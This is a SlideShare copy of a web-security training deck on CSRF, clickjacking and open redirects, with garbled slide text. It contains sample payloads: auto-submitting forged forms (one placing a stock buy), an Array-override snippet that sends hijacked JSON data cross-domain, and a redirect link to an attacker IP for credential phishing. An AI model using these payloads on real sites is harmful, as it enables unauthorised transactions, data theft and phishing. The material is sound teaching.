SlideShare a Scribd company logo
CSRF	
  (Cross	
  Site	
  Request	
  Forgery)	
  
ClickJacking	
  &	
  Open	
  Redirects	
  
Cross	
  Site	
  Request	
  Forgery	
  (CSRF)	
  
•  Generic	
  CSRF	
  is	
  with	
  GET	
  /	
  POST	
  
•  Forcefully	
  sending	
  request	
  to	
  the	
  target	
  applicaEon	
  
with	
  cookie	
  replay	
  
•  Leveraging	
  tags	
  like	
  
–  IMG
–  SCRIPT
–  IFRAME
•  Not	
  abide	
  by	
  SOP	
  or	
  Cross	
  Domain	
  is	
  possible	
  
Request	
  generaEon	
  
	
  	
  	
  	
  	
  IMG	
  SRC	
  
	
  	
  <img	
  src="hOp://host/?command">	
  
	
  
	
  	
  SCRIPT	
  SRC	
  
	
  	
  <script	
  src="hOp://host/?command">	
  
	
  
	
  	
  IFRAME	
  SRC	
  
	
  	
  <iframe	
  src="hOp://host/?command">	
  	
  
Request	
  generaEon	
  
	
  	
  	
  	
  'Image'	
  Object	
  
	
  	
  <script>	
  
	
  	
  var	
  foo	
  =	
  new	
  Image();	
  
	
  	
  foo.src	
  =	
  "hOp://host/?command";	
  
	
  	
  </script>	
  	
  
	
  
XHR	
  –	
  Cross	
  domain	
  difficult	
  
Request	
  generaEon	
  
•  It	
  is	
  possible	
  to	
  generate	
  POST	
  as	
  well	
  
•  Form	
  can	
  be	
  build	
  dynamically	
  and	
  buOon	
  
click	
  from	
  JavaScript	
  is	
  possible	
  
<script	
  type="text/javascript"	
  
language="JavaScript">	
  
	
  	
  	
  	
  	
  	
  document.foo.submit();	
  
</script>	
  	
  
Cross	
  Site	
  Request	
  Forgery	
  (CSRF)	
  
•  What	
  is	
  different	
  with	
  Web	
  2.0	
  
– Is it possible to do CSRF to XML stream
– How?
– It will be POST hitting the XML processing
resources like Web Services
– JSON CSRF is also possible
– Interesting check to make against application
and Web 2.0 resources
One	
  Way	
  CSRF	
  Scenario	
  
One	
  Way	
  CSRF	
  Scenario	
  
One	
  Way	
  CSRF	
  Scenario	
  
One	
  Way	
  CSRF	
  Scenario	
  
One-­‐Way	
  CSRF	
  
One-­‐Way	
  CSRF	
  
•  <html>	
  
•  <body>	
  
•  <FORM	
  NAME="buy"	
  ENCTYPE="text/plain"	
  acEon="hOp://
trade.example.com/xmlrpc/trade.rem"	
  METHOD="POST">	
  
•  	
  	
  	
  	
  	
  	
  	
  <input	
  type="hidden"	
  name='<?xml	
  version'	
  value='"1.0"?
><methodCall><methodName>stocks.buy</
methodName><params><param><value><string>MSFT</string></
value></param><param><value><double>26</double></value></
param></params></methodCall>'>	
  
•  </FORM>	
  
•  <script>document.buy.submit();</script>	
  
•  </body>	
  
•  </html>	
  
Forcing	
  XML	
  
•  Spligng	
  XML	
  stream	
  in	
  the	
  form.	
  
•  Possible	
  through	
  XForms	
  as	
  well.	
  
•  Similar	
  techniques	
  is	
  applicable	
  to	
  JSON	
  as	
  
well.	
  	
  
Two-­‐Way	
  CSRF	
  
•  One-­‐Way	
  –	
  Just	
  making	
  forceful	
  request.	
  
•  Two-­‐Way	
  
– Reading the data coming from the target
– May be getting hold onto important
information – profile, statements, numbers
etc.
– Is it possible with JSON/XML
Two-­‐Way	
  CSRF	
  
Two-­‐Way	
  CSRF	
  
•  ApplicaEon	
  is	
  serving	
  various	
  streams	
  like	
  –	
  
JSON,	
  JS-­‐Object,	
  Array	
  etc.	
  
	
  
Two-­‐Way	
  CSRF	
  
Two-­‐Way	
  CSRF	
  
•  AOacker	
  page	
  can	
  make	
  cross	
  domain	
  request	
  
using	
  SCRIPT	
  (firefox)	
  
•  Following	
  code	
  can	
  overload	
  the	
  array	
  stream.	
  
	
  	
  	
  funcEon	
  Array()	
  	
  
	
  {	
  var	
  obj	
  =	
  this;	
  var	
  index	
  =	
  0;	
  for(j=0;j<4;j++){	
  obj[index++]	
  
seOer	
  =	
  spoof;	
  }	
  }	
  funcEon	
  spoof(x){	
  send(x.toString());	
  }	
  	
  
Two-­‐Way	
  CSRF	
  
Two-­‐Way	
  CSRF	
  
•  It	
  is	
  possible	
  to	
  overload	
  these	
  objects.	
  
•  Reading	
  and	
  sending	
  to	
  cross	
  domain	
  possible.	
  
•  Opens	
  up	
  two	
  way	
  channel	
  for	
  an	
  aOacker.	
  
•  Web	
  2.0	
  streams	
  are	
  vulnerable	
  to	
  these	
  
aOacks.	
  
Countermeasure	
  
•  Server	
  Side	
  Checks	
  
–  Check for client’s content-type.
–  XHR calls – xml/application.
–  Native calls – text/html.
–  Filtering is possible on it.
•  Client	
  Side	
  Checks	
  
–  Stream can be started and terminated by /* or any
predefined characters.
–  Client can remove them before injecting to DOM.
Clickjacking	
  
DescripEon	
  
• Clickjacking	
  is	
  a	
  popular	
  name	
  for	
  an	
  old	
  aOack	
  
method	
  called	
  “UI	
  redressing”	
  
• Though	
  a	
  case	
  of	
  “old	
  wine	
  in	
  a	
  new	
  boOle”,	
  
given	
  the	
  current	
  development	
  in	
  Web	
  
standards	
  (Web	
  2.0,	
  AJAX,	
  etc),	
  one	
  cannot	
  
ignore	
  the	
  risks	
  posed	
  by	
  this	
  vulnerability	
  
• The	
  basic	
  philosophy	
  of	
  this	
  aOack	
  is	
  to	
  fool	
  
the	
  user	
  into	
  clicking	
  a	
  malicious	
  link	
  
DescripEon	
  
•  Clickjacking	
  involves	
  “hijacking”	
  the	
  user's	
  
mouse	
  clicks	
  
•  This	
  means,	
  the	
  user	
  thinks	
  (s)he's	
  clicking	
  
on	
  something,	
  but	
  is	
  actually	
  not	
  
•  The	
  user,	
  invariably	
  and	
  unknowingly	
  
authorizes	
  certain	
  acEons	
  which	
  could	
  have	
  
disasterous	
  consequences	
  or	
  could	
  be	
  as	
  
harmless	
  as	
  being	
  redirected	
  to	
  a	
  games	
  site	
  
AOack	
  Anatomy	
  
•  There	
  are	
  3	
  popular	
  ways	
  in	
  which	
  aOackers	
  
perpetrate	
  this	
  vulnerability	
  
–  Using invisible elements such as iframes
–  Injecting malicious javascript (or any
other client side scripting language)
–  Leveraging a bug in Adobe Flash Player
(this method is now obsolete)
AOack	
  Anatomy	
  
•  An	
  aOacker	
  uses	
  the	
  concept	
  of	
  layering	
  to	
  
crat	
  an	
  aOack	
  
•  Basically,	
  the	
  page	
  that	
  the	
  user	
  views,	
  will	
  
have	
  layers	
  
•  Some	
  of	
  these	
  layers	
  will	
  be	
  transparent	
  (or	
  
invisible)	
  	
  
•  The	
  user	
  will	
  never	
  know	
  of	
  the	
  invisible	
  
layers	
  and	
  will	
  end	
  up	
  making	
  a	
  wrong	
  
choice	
  
AOack	
  Anatomy	
  
•  Lets	
  first	
  understand	
  this	
  basic	
  mechanism	
  
with	
  an	
  example	
  and	
  then	
  move	
  on	
  to	
  the	
  
different	
  ways	
  of	
  perpetraEng	
  this	
  aOack	
  ....	
  
AOack	
  Anatomy	
  
Send email to all users ?
Yes No
Actual intented content ....
AOack	
  Anatomy	
  
Send email to all users ?
Yes No
Do you want a free iPad?
No
Intended content .... Malicious content for clickjacking
AOack	
  Anatomy	
  
Send email to all users ?
Yes No
Do you want a free iPad?
No
When the two are super imposed …
(“Send email to all users?” Will not be visible, it is
shown here for clarity)
Unvalidated	
  Redirects	
  &	
  
Forwards	
  
DescripEon	
  
•  Web	
  applicaEons	
  are	
  having	
  its	
  own	
  “flow”	
  
•  Business	
  flow	
  needs	
  movement	
  between	
  
pages	
  and	
  sites	
  
•  ApplicaEon	
  uses	
  same	
  domain	
  or	
  cross	
  
domain	
  redirects	
  and	
  forwards	
  
•  It	
  allows	
  applicaEons	
  to	
  work	
  easily	
  and	
  access	
  
same	
  domain	
  or	
  cross	
  domain	
  resources	
  
(Single	
  Sign	
  On	
  –	
  leveraging)	
  
DescripEon	
  
•  HTTP	
  requests	
  can	
  be	
  GET	
  or	
  POST	
  
•  Parameters	
  are	
  not	
  validated	
  and	
  can	
  lead	
  to	
  
arbitrary	
  redirects	
  
•  This	
  can	
  be	
  leveraged	
  at	
  ease	
  and	
  get	
  
exploited	
  by	
  an	
  aOacker	
  
•  AOacker	
  exploits	
  the	
  trust	
  and	
  leverage	
  the	
  
vulnerability	
  
AOack	
  Anatomy	
  
•  As	
  a	
  part	
  of	
  root	
  cause,	
  there	
  must	
  be	
  a	
  
redirect	
  hole	
  
•  Example,	
  
– http://foo.bank.com/login.aspx?
user=xxx&page=trade.aspx
•  Here	
  “page”	
  is	
  a	
  vulnerable	
  parameter	
  
•  What	
  if?	
  Some	
  one	
  put	
  page=hOp://
yahoo.com	
  …	
  
AOack	
  Anatomy	
  
Attacker
foo.bank.com
http://foo.bank.com/login.aspx?user=xxx&
page=http://yahoo.com
Get redirect or JavaScript call
for loading yahoo.com
Vulnerability detected!!!
AOack	
  Anatomy	
  
•  What	
  is	
  redirect…	
  
– If server sends 302 in its HTTP response
– If server sends JavaScript with certain
document object calls like “location”
•  What	
  will	
  happen…	
  
– It will send browser to new location
– User will stay in impression that he/she is at
trusted site but that is not the case
AOack	
  Anatomy	
  
Bank’s user
foo.bank.com
Login the page
Login successful
This is what in user’s mind…
a.) URL – trusted, foo.bank.com
b.) Login form - trusted
AOack	
  Anatomy	
  
•  User	
  is	
  doing	
  all	
  his	
  acEviEes	
  
•  Full	
  trust	
  is	
  established	
  and	
  day	
  to	
  day	
  work	
  is	
  
going	
  on	
  
•  Now	
  aOacker’s	
  acEon	
  comes	
  in	
  …	
  
•  AOacker	
  sends	
  a	
  mail	
  and	
  request	
  to	
  login	
  and	
  
change	
  password	
  immediately	
  as	
  part	
  of	
  
banking	
  policies	
  
•  	
  AOacker	
  acts	
  as	
  administrator	
  from	
  bank	
  
AOack	
  Anatomy	
  
•  Magic	
  is	
  in	
  the	
  link	
  and	
  trust	
  is	
  in	
  the	
  mind.	
  
•  User	
  trust	
  the	
  URL	
  and	
  Link	
  both	
  consciously	
  
and	
  subconsciously…	
  
•  Following	
  link	
  will	
  be	
  sent.	
  
http://foo.bank.com/login.aspx?user=xxx&date=12-12-2009&trust=good&
page=http://203.88.xx.xx/security.html
Link is injected
User is going to trust this
AOack	
  Anatomy	
  
Click the link
Get a redirect response
to 203.88.XX.XX
1Link in mail
AOack	
  Anatomy	
  
Bank’s user
foo.bank.com
Click the link
Get a redirect response
to 203.88.XX.XX
203.88.XX.XX
(Attacker’s area)
Bank’s user
Send dummy form
Trusted evil redirect
2
AOack	
  Anatomy	
  
Bank’s user
foo.bank.com
Click the link
Get a redirect response
to 203.88.XX.XX
203.88.XX.XX
(Attacker’s area)
Bank’s user
Send dummy form
Bank’s user
Send username and password
Send dummy response (Thanks!)
Trusted evil redirect
203.88.XX.XX
(Attacker’s area)
3
AOack	
  Anatomy	
  
Bank’s user
foo.bank.com
Click the link
Get a redirect response
to 203.88.XX.XX
203.88.XX.XX
(Attacker’s area)
Bank’s user
Send dummy form
Bank’s user
Send username and password
Send dummy response (Thanks!)
Trusted evil redirect
203.88.XX.XX
(Attacker’s area)
Logs in and
do money
transfer
4
Conclusion	
  

More Related Content

What's hot (20)

PDF
HTTP Security Headers
Ismael Goncalves
 
PDF
HTTP Request Smuggling via higher HTTP versions
neexemil
 
PPTX
Deep dive into ssrf
n|u - The Open Security Community
 
PPTX
Authentication and Authorization in Asp.Net
Shivanand Arur
 
PPTX
SQL INJECTION
Anoop T
 
PPS
Security testing
Tabăra de Testare
 
PDF
SSRF workshop
Ivan Novikov
 
PPTX
Bug Bounty - Play For Money
Shubham Gupta
 
PDF
Bug bounty null_owasp_2k17
Sagar M Parmar
 
PPTX
XSS - Do you know EVERYTHING?
Yurii Bilyk
 
PDF
Ch 10: Hacking Web Servers
Sam Bowne
 
PDF
Ch 5: Port Scanning
Sam Bowne
 
PDF
IDOR Know-How.pdf
Bhashit Pandya
 
PPT
Logical Attacks(Vulnerability Research)
Ajay Negi
 
PPTX
Bug Bounty 101
Shahee Mirza
 
PPTX
John the ripper & hydra password cracking tool
Md. Raquibul Hoque
 
PPTX
Web Cache Poisoning
KuldeepPandya5
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
HTTP Security Headers
Ismael Goncalves
 
HTTP Request Smuggling via higher HTTP versions
neexemil
 
Authentication and Authorization in Asp.Net
Shivanand Arur
 
SQL INJECTION
Anoop T
 
Security testing
Tabăra de Testare
 
SSRF workshop
Ivan Novikov
 
Bug Bounty - Play For Money
Shubham Gupta
 
Bug bounty null_owasp_2k17
Sagar M Parmar
 
XSS - Do you know EVERYTHING?
Yurii Bilyk
 
Ch 10: Hacking Web Servers
Sam Bowne
 
Ch 5: Port Scanning
Sam Bowne
 
IDOR Know-How.pdf
Bhashit Pandya
 
Logical Attacks(Vulnerability Research)
Ajay Negi
 
Bug Bounty 101
Shahee Mirza
 
John the ripper & hydra password cracking tool
Md. Raquibul Hoque
 
Web Cache Poisoning
KuldeepPandya5
 
Vulnerabilities in modern web applications
Niyas Nazar
 

Similar to CSRF, ClickJacking & Open Redirect (20)

PDF
Owasp top 10 vulnerabilities 2013
Vishrut Sharma
 
PPT
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
PPTX
Web application security
Jin Castor
 
PPTX
Hack using firefox
Reza Nurfachmi
 
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
Sam Bowne
 
PPT
Web Attacks - Top threats - 2010
Shreeraj Shah
 
PDF
Ch 13: Attacking Users: Other Techniques (Part 2)
Sam Bowne
 
PDF
Cross-site request forgery (also known as CSRF) is a web vulnerability that a...
Varun Mithran
 
PPT
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
PPT
Css
bismasheikh3
 
PDF
Advanced xss
Gajendra Saini
 
PDF
Ceh v5 module 12 web application vulnerabilities
Vi Tính Hoàng Nam
 
PDF
Securing your web application through HTTP headers
Andre N. Klingsheim
 
PDF
xss-100908063522-phpapp02.pdf
yashvirsingh48
 
PPT
Seguridad Web by Jordan Diaz
Jordan Diaz
 
PPT
Web Aplication Vulnerabilities
Jbyte
 
PDF
Ajax Security
Joe Walker
 
PDF
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 
PPTX
Secure webbrowsing 1
UT, San Antonio
 
Owasp top 10 vulnerabilities 2013
Vishrut Sharma
 
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
Web application security
Jin Castor
 
Hack using firefox
Reza Nurfachmi
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
Sam Bowne
 
Web Attacks - Top threats - 2010
Shreeraj Shah
 
Ch 13: Attacking Users: Other Techniques (Part 2)
Sam Bowne
 
Cross-site request forgery (also known as CSRF) is a web vulnerability that a...
Varun Mithran
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
Advanced xss
Gajendra Saini
 
Ceh v5 module 12 web application vulnerabilities
Vi Tính Hoàng Nam
 
Securing your web application through HTTP headers
Andre N. Klingsheim
 
xss-100908063522-phpapp02.pdf
yashvirsingh48
 
Seguridad Web by Jordan Diaz
Jordan Diaz
 
Web Aplication Vulnerabilities
Jbyte
 
Ajax Security
Joe Walker
 
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 
Secure webbrowsing 1
UT, San Antonio
 
Ad

More from Blueinfy Solutions (20)

PDF
Mobile Application Scan and Testing
Blueinfy Solutions
 
PDF
Mobile security chess board - attacks & defense
Blueinfy Solutions
 
PPT
Mobile code mining for discovery and exploits nullcongoa2013
Blueinfy Solutions
 
PPT
iOS Application Security Testing
Blueinfy Solutions
 
PPT
Html5 on mobile
Blueinfy Solutions
 
PPT
Android secure coding
Blueinfy Solutions
 
PPT
Android attacks
Blueinfy Solutions
 
PPT
Automation In Android & iOS Application Review
Blueinfy Solutions
 
PPT
Web Services Hacking and Security
Blueinfy Solutions
 
PPT
Source Code Analysis with SAST
Blueinfy Solutions
 
PPT
HTML5 hacking
Blueinfy Solutions
 
PPT
XSS - Attacks & Defense
Blueinfy Solutions
 
PPT
Defending against Injections
Blueinfy Solutions
 
PPT
XPATH, LDAP and Path Traversal Injection
Blueinfy Solutions
 
PPT
Blind SQL Injection
Blueinfy Solutions
 
PPT
Application fuzzing
Blueinfy Solutions
 
PPT
SQL injection basics
Blueinfy Solutions
 
PPT
Applciation footprinting, discovery and enumeration
Blueinfy Solutions
 
PPT
Assessment methodology and approach
Blueinfy Solutions
 
PPT
HTTP protocol and Streams Security
Blueinfy Solutions
 
Mobile Application Scan and Testing
Blueinfy Solutions
 
Mobile security chess board - attacks & defense
Blueinfy Solutions
 
Mobile code mining for discovery and exploits nullcongoa2013
Blueinfy Solutions
 
iOS Application Security Testing
Blueinfy Solutions
 
Html5 on mobile
Blueinfy Solutions
 
Android secure coding
Blueinfy Solutions
 
Android attacks
Blueinfy Solutions
 
Automation In Android & iOS Application Review
Blueinfy Solutions
 
Web Services Hacking and Security
Blueinfy Solutions
 
Source Code Analysis with SAST
Blueinfy Solutions
 
HTML5 hacking
Blueinfy Solutions
 
XSS - Attacks & Defense
Blueinfy Solutions
 
Defending against Injections
Blueinfy Solutions
 
XPATH, LDAP and Path Traversal Injection
Blueinfy Solutions
 
Blind SQL Injection
Blueinfy Solutions
 
Application fuzzing
Blueinfy Solutions
 
SQL injection basics
Blueinfy Solutions
 
Applciation footprinting, discovery and enumeration
Blueinfy Solutions
 
Assessment methodology and approach
Blueinfy Solutions
 
HTTP protocol and Streams Security
Blueinfy Solutions
 
Ad

Recently uploaded (20)

PPTX
✨Unleashing Collaboration: Salesforce Channels & Community Power in Patna!✨
SanjeetMishra29
 
PDF
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
PDF
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
PDF
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
PPTX
Top iOS App Development Company in the USA for Innovative Apps
SynapseIndia
 
PDF
Building Resilience with Digital Twins : Lessons from Korea
SANGHEE SHIN
 
PDF
Windsurf Meetup Ottawa 2025-07-12 - Planning Mode at Reliza.pdf
Pavel Shukhman
 
PDF
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
PDF
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 
PDF
Women in Automation Presents: Reinventing Yourself — Bold Career Pivots That ...
DianaGray10
 
PDF
Predicting the unpredictable: re-engineering recommendation algorithms for fr...
Speck&Tech
 
PPTX
Darren Mills The Migration Modernization Balancing Act: Navigating Risks and...
AWS Chicago
 
PPTX
Building a Production-Ready Barts Health Secure Data Environment Tooling, Acc...
Barts Health
 
PDF
TrustArc Webinar - Data Privacy Trends 2025: Mid-Year Insights & Program Stra...
TrustArc
 
PDF
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
PPTX
Webinar: Introduction to LF Energy EVerest
DanBrown980551
 
PDF
Persuasive AI: risks and opportunities in the age of digital debate
Speck&Tech
 
PDF
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
PDF
Rethinking Security Operations - SOC Evolution Journey.pdf
Haris Chughtai
 
PDF
Impact of IEEE Computer Society in Advancing Emerging Technologies including ...
Hironori Washizaki
 
✨Unleashing Collaboration: Salesforce Channels & Community Power in Patna!✨
SanjeetMishra29
 
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
Building Real-Time Digital Twins with IBM Maximo & ArcGIS Indoors
Safe Software
 
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
Top iOS App Development Company in the USA for Innovative Apps
SynapseIndia
 
Building Resilience with Digital Twins : Lessons from Korea
SANGHEE SHIN
 
Windsurf Meetup Ottawa 2025-07-12 - Planning Mode at Reliza.pdf
Pavel Shukhman
 
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 
Women in Automation Presents: Reinventing Yourself — Bold Career Pivots That ...
DianaGray10
 
Predicting the unpredictable: re-engineering recommendation algorithms for fr...
Speck&Tech
 
Darren Mills The Migration Modernization Balancing Act: Navigating Risks and...
AWS Chicago
 
Building a Production-Ready Barts Health Secure Data Environment Tooling, Acc...
Barts Health
 
TrustArc Webinar - Data Privacy Trends 2025: Mid-Year Insights & Program Stra...
TrustArc
 
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
Webinar: Introduction to LF Energy EVerest
DanBrown980551
 
Persuasive AI: risks and opportunities in the age of digital debate
Speck&Tech
 
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
Rethinking Security Operations - SOC Evolution Journey.pdf
Haris Chughtai
 
Impact of IEEE Computer Society in Advancing Emerging Technologies including ...
Hironori Washizaki
 

CSRF, ClickJacking & Open Redirect

  • 1. CSRF  (Cross  Site  Request  Forgery)   ClickJacking  &  Open  Redirects  
  • 2. Cross  Site  Request  Forgery  (CSRF)   •  Generic  CSRF  is  with  GET  /  POST   •  Forcefully  sending  request  to  the  target  applicaEon   with  cookie  replay   •  Leveraging  tags  like   –  IMG –  SCRIPT –  IFRAME •  Not  abide  by  SOP  or  Cross  Domain  is  possible  
  • 3. Request  generaEon            IMG  SRC      <img  src="hOp://host/?command">        SCRIPT  SRC      <script  src="hOp://host/?command">        IFRAME  SRC      <iframe  src="hOp://host/?command">    
  • 4. Request  generaEon          'Image'  Object      <script>      var  foo  =  new  Image();      foo.src  =  "hOp://host/?command";      </script>       XHR  –  Cross  domain  difficult  
  • 5. Request  generaEon   •  It  is  possible  to  generate  POST  as  well   •  Form  can  be  build  dynamically  and  buOon   click  from  JavaScript  is  possible   <script  type="text/javascript"   language="JavaScript">              document.foo.submit();   </script>    
  • 6. Cross  Site  Request  Forgery  (CSRF)   •  What  is  different  with  Web  2.0   – Is it possible to do CSRF to XML stream – How? – It will be POST hitting the XML processing resources like Web Services – JSON CSRF is also possible – Interesting check to make against application and Web 2.0 resources
  • 7. One  Way  CSRF  Scenario  
  • 8. One  Way  CSRF  Scenario  
  • 9. One  Way  CSRF  Scenario  
  • 10. One  Way  CSRF  Scenario  
  • 12. One-­‐Way  CSRF   •  <html>   •  <body>   •  <FORM  NAME="buy"  ENCTYPE="text/plain"  acEon="hOp:// trade.example.com/xmlrpc/trade.rem"  METHOD="POST">   •               <input  type="hidden"  name='<?xml  version'  value='"1.0"? ><methodCall><methodName>stocks.buy</ methodName><params><param><value><string>MSFT</string></ value></param><param><value><double>26</double></value></ param></params></methodCall>'>   •  </FORM>   •  <script>document.buy.submit();</script>   •  </body>   •  </html>  
  • 13. Forcing  XML   •  Spligng  XML  stream  in  the  form.   •  Possible  through  XForms  as  well.   •  Similar  techniques  is  applicable  to  JSON  as   well.    
  • 14. Two-­‐Way  CSRF   •  One-­‐Way  –  Just  making  forceful  request.   •  Two-­‐Way   – Reading the data coming from the target – May be getting hold onto important information – profile, statements, numbers etc. – Is it possible with JSON/XML
  • 16. Two-­‐Way  CSRF   •  ApplicaEon  is  serving  various  streams  like  –   JSON,  JS-­‐Object,  Array  etc.    
  • 18. Two-­‐Way  CSRF   •  AOacker  page  can  make  cross  domain  request   using  SCRIPT  (firefox)   •  Following  code  can  overload  the  array  stream.        funcEon  Array()      {  var  obj  =  this;  var  index  =  0;  for(j=0;j<4;j++){  obj[index++]   seOer  =  spoof;  }  }  funcEon  spoof(x){  send(x.toString());  }    
  • 20. Two-­‐Way  CSRF   •  It  is  possible  to  overload  these  objects.   •  Reading  and  sending  to  cross  domain  possible.   •  Opens  up  two  way  channel  for  an  aOacker.   •  Web  2.0  streams  are  vulnerable  to  these   aOacks.  
  • 21. Countermeasure   •  Server  Side  Checks   –  Check for client’s content-type. –  XHR calls – xml/application. –  Native calls – text/html. –  Filtering is possible on it. •  Client  Side  Checks   –  Stream can be started and terminated by /* or any predefined characters. –  Client can remove them before injecting to DOM.
  • 23. DescripEon   • Clickjacking  is  a  popular  name  for  an  old  aOack   method  called  “UI  redressing”   • Though  a  case  of  “old  wine  in  a  new  boOle”,   given  the  current  development  in  Web   standards  (Web  2.0,  AJAX,  etc),  one  cannot   ignore  the  risks  posed  by  this  vulnerability   • The  basic  philosophy  of  this  aOack  is  to  fool   the  user  into  clicking  a  malicious  link  
  • 24. DescripEon   •  Clickjacking  involves  “hijacking”  the  user's   mouse  clicks   •  This  means,  the  user  thinks  (s)he's  clicking   on  something,  but  is  actually  not   •  The  user,  invariably  and  unknowingly   authorizes  certain  acEons  which  could  have   disasterous  consequences  or  could  be  as   harmless  as  being  redirected  to  a  games  site  
  • 25. AOack  Anatomy   •  There  are  3  popular  ways  in  which  aOackers   perpetrate  this  vulnerability   –  Using invisible elements such as iframes –  Injecting malicious javascript (or any other client side scripting language) –  Leveraging a bug in Adobe Flash Player (this method is now obsolete)
  • 26. AOack  Anatomy   •  An  aOacker  uses  the  concept  of  layering  to   crat  an  aOack   •  Basically,  the  page  that  the  user  views,  will   have  layers   •  Some  of  these  layers  will  be  transparent  (or   invisible)     •  The  user  will  never  know  of  the  invisible   layers  and  will  end  up  making  a  wrong   choice  
  • 27. AOack  Anatomy   •  Lets  first  understand  this  basic  mechanism   with  an  example  and  then  move  on  to  the   different  ways  of  perpetraEng  this  aOack  ....  
  • 28. AOack  Anatomy   Send email to all users ? Yes No Actual intented content ....
  • 29. AOack  Anatomy   Send email to all users ? Yes No Do you want a free iPad? No Intended content .... Malicious content for clickjacking
  • 30. AOack  Anatomy   Send email to all users ? Yes No Do you want a free iPad? No When the two are super imposed … (“Send email to all users?” Will not be visible, it is shown here for clarity)
  • 31. Unvalidated  Redirects  &   Forwards  
  • 32. DescripEon   •  Web  applicaEons  are  having  its  own  “flow”   •  Business  flow  needs  movement  between   pages  and  sites   •  ApplicaEon  uses  same  domain  or  cross   domain  redirects  and  forwards   •  It  allows  applicaEons  to  work  easily  and  access   same  domain  or  cross  domain  resources   (Single  Sign  On  –  leveraging)  
  • 33. DescripEon   •  HTTP  requests  can  be  GET  or  POST   •  Parameters  are  not  validated  and  can  lead  to   arbitrary  redirects   •  This  can  be  leveraged  at  ease  and  get   exploited  by  an  aOacker   •  AOacker  exploits  the  trust  and  leverage  the   vulnerability  
  • 34. AOack  Anatomy   •  As  a  part  of  root  cause,  there  must  be  a   redirect  hole   •  Example,   – http://foo.bank.com/login.aspx? user=xxx&page=trade.aspx •  Here  “page”  is  a  vulnerable  parameter   •  What  if?  Some  one  put  page=hOp:// yahoo.com  …  
  • 36. AOack  Anatomy   •  What  is  redirect…   – If server sends 302 in its HTTP response – If server sends JavaScript with certain document object calls like “location” •  What  will  happen…   – It will send browser to new location – User will stay in impression that he/she is at trusted site but that is not the case
  • 37. AOack  Anatomy   Bank’s user foo.bank.com Login the page Login successful This is what in user’s mind… a.) URL – trusted, foo.bank.com b.) Login form - trusted
  • 38. AOack  Anatomy   •  User  is  doing  all  his  acEviEes   •  Full  trust  is  established  and  day  to  day  work  is   going  on   •  Now  aOacker’s  acEon  comes  in  …   •  AOacker  sends  a  mail  and  request  to  login  and   change  password  immediately  as  part  of   banking  policies   •   AOacker  acts  as  administrator  from  bank  
  • 39. AOack  Anatomy   •  Magic  is  in  the  link  and  trust  is  in  the  mind.   •  User  trust  the  URL  and  Link  both  consciously   and  subconsciously…   •  Following  link  will  be  sent.   http://foo.bank.com/login.aspx?user=xxx&date=12-12-2009&trust=good& page=http://203.88.xx.xx/security.html Link is injected User is going to trust this
  • 40. AOack  Anatomy   Click the link Get a redirect response to 203.88.XX.XX 1Link in mail
  • 41. AOack  Anatomy   Bank’s user foo.bank.com Click the link Get a redirect response to 203.88.XX.XX 203.88.XX.XX (Attacker’s area) Bank’s user Send dummy form Trusted evil redirect 2
  • 42. AOack  Anatomy   Bank’s user foo.bank.com Click the link Get a redirect response to 203.88.XX.XX 203.88.XX.XX (Attacker’s area) Bank’s user Send dummy form Bank’s user Send username and password Send dummy response (Thanks!) Trusted evil redirect 203.88.XX.XX (Attacker’s area) 3
  • 43. AOack  Anatomy   Bank’s user foo.bank.com Click the link Get a redirect response to 203.88.XX.XX 203.88.XX.XX (Attacker’s area) Bank’s user Send dummy form Bank’s user Send username and password Send dummy response (Thanks!) Trusted evil redirect 203.88.XX.XX (Attacker’s area) Logs in and do money transfer 4